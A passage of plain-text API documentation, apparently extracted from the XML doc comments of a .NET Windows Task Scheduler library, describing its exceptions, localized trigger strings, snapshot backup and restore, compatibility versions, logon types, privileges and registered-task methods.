Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for the task. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the task. + Not supported under Task Scheduler 1.0. + + + + Updates the task with any changes made to the by calling from the currently registered folder using the currently + registered name. + + Thrown if task was previously registered with a password. + + + Runs the registered task immediately. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + Run() + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + + + + + + Runs the registered task immediately using specified flags and a session identifier. + Defines how the task is run. + + The terminal server session in which you want to start the task. + + If the value is not passed into the parameter, then the value + specified in this parameter is ignored.If the value is passed into the flags parameter + and the sessionID value is less than or equal to 0, then an invalid argument error will be returned. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if no value is specified for the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is logged on to the specified session. + + + If the value is passed into the parameter and the sessionID + value is a valid session ID greater than 0 and if a user is specified in the user parameter, then the Task Scheduler service + will try to start the task interactively as the user who is specified in the user parameter. + + + The user for which the task runs. + + + The parameters used as values in the task actions. A maximum of 32 parameters can be supplied. To run a task with no parameters, + call this method without any values (e.g. + RunEx(0, 0, "MyUserName") + ). + + + The string values that you specify are paired with names and stored as name-value pairs. If you specify a single string value, + then Arg0 will be the name assigned to the value. The value can be used in the task action where the $(Arg0) variable is used in + the action properties. + + + If you pass in values such as "0", "100", and "250" as an array of string values, then "0" will replace the $(Arg0) variables, + "100" will replace the $(Arg1) variables, and "250" will replace the $(Arg2) variables used in the action properties. + + + For more information and a list of action properties that can use $(Arg0), $(Arg1), ..., $(Arg32) variables in their values, see + Task Actions. + + + A instance that defines the new instance of the task. + + + This method will return without error, but the task will not run if the AllowDemandStart property of ITaskSettings is set to + false for the task. + + If RunEx is invoked from a disabled task, it will return null and the task will not be run. + + Not supported under Task Scheduler 1.0. + + + + + + + + + Applies access control list (ACL) entries described by a object to the file described by the current + object. + + + A object that describes an access control list (ACL) entry to apply to the current task. + + + Give read access to all authenticated users for a task. + + + + + + + Sets the security descriptor for the task. Not available to Task Scheduler 1.0. + The security descriptor for the task. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + Dynamically tries to load the assembly for the editor and displays it as editable for this task. + true if editor returns with OK response; false otherwise. + + The Microsoft.Win32.TaskSchedulerEditor.dll assembly must reside in the same directory as the Microsoft.Win32.TaskScheduler.dll + or in the GAC. + + + + Shows the property page for the task (v1.0 only). + + + Stops the registered task immediately. + + The Stop method stops all instances of the task. + + System account users can stop a task, users with Administrator group privileges can stop a task, and if a user has rights to + execute and read a task, then the user can stop the task. A user can stop the task instances that are running under the same + credentials as the user account. In all other cases, the user is denied access to stop the task. + + + + + Returns a that represents this instance. + A that represents this instance. + + + + Gets the ITaskDefinition for a V2 task and prevents the errors that come when connecting remotely to a higher version of the + Task Scheduler. + + The local task service. + The task instance. + if set to true this method will throw an exception if unable to get the task definition. + A valid ITaskDefinition that should not throw errors on the local instance. + Unable to get a compatible task definition for this version of the library. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Contains information about the compatibility of the current configuration with a specified version. + + + Gets the compatibility level. + The compatibility level. + + + Gets the property name with the incompatibility. + The property name. + + + Gets the reason for the incompatibility. + The reason. + + + Defines all the components of a task, such as the task settings, triggers, actions, and registration information. + + + Occurs when a property value changes. + + + Gets a collection of actions that are performed by the task. + + + + Gets or sets the data that is associated with the task. This data is ignored by the Task Scheduler service, but is used by + third-parties who wish to extend the task format. + + + For V1 tasks, this library makes special use of the SetWorkItemData and GetWorkItemData methods and does not expose that data + stream directly. Instead, it uses that data stream to hold a dictionary of properties that are not supported under V1, but can + have values under V2. An example of this is the value which is stored in the data stream. + + The library does not provide direct access to the V1 work item data. If using V2 properties with a V1 task, programmatic access + to the task using the native API will retrieve unreadable results from GetWorkItemData and will eliminate those property values + if SetWorkItemData is used. + + + + + Gets the lowest supported version that supports the settings for this . + + + Gets a collection of triggers that are used to start a task. + + + Gets or sets the XML-formatted definition of the task. + + + Gets the principal for the task that provides the security credentials for the task. + + + + Gets a class instance of registration information that is used to describe a task, such as the description of the task, the + author of the task, and the date the task is registered. + + + + Gets the settings that define how the Task Scheduler service performs the task. + + + Gets the XML Schema file for V1 tasks. + The for V1 tasks. + An object containing the XML Schema for V1 tasks. + + + + Determines whether this can use the Unified Scheduling Engine or if it contains unsupported properties. + + + if set to true throws an with details about unsupported properties in the Data + property of the exception. + + + true if this can use the Unified Scheduling Engine; otherwise, false. + + + Releases all resources used by this class. + + + Validates the current . + + if set to true throw a with details about invalid properties. + + true if current is valid; false if not. + + + Implements the operator + for triggers on a definition, effectively adding the trigger to the definition. + The definition to which the trigger is to be added. + The trigger to add. + The definition with the added trigger. + + + Implements the operator + for actions on a definition, effectively adding the action to the definition. + The definition to which the action is to be added. + The action to add. + The definition with the added action. + + + Gets the lowest supported version. + The output list. + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Provides the security credentials for a principal. These security credentials define the security context for the tasks that are + associated with the principal. + + + This class can only be accessed via . It is used to set properties related to the principal + (account) that will run a task. + + TaskDefinition td = TaskService.Instance.NewTask(); + td.Principal.UserId = "SYSTEM"; + td.Principal.LogonType = TaskLogonType.ServiceAccount; + + + + Occurs when a property value changes. + + + + Gets the account associated with this principal. This value is pulled from the TaskDefinition's XMLText property if set. + + The account. + + + Gets or sets the name of the principal that is displayed in the Task Scheduler UI. + Not supported under Task Scheduler 1.0. + + + + Gets or sets the identifier of the user group that is required to run the tasks that are associated with the principal. Setting + this property to something other than a null or empty string, will set the property to NULL and will set + the property to TaskLogonType.Group; + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier of the principal. + Not supported under Task Scheduler 1.0. + + + Gets or sets the security logon method that is required to run the tasks that are associated with the principal. + + TaskLogonType values of Group, None, or S4UNot are not supported under Task Scheduler 1.0. + + + + Gets or sets the task process security identifier (SID) type. + One of the enumeration constants. + Setting this value appears to break the Task Scheduler MMC and does not output in XML. Removed to prevent problems. + Not supported under Task Scheduler versions prior to 2.1. + + + + Gets the security credentials for a principal. These 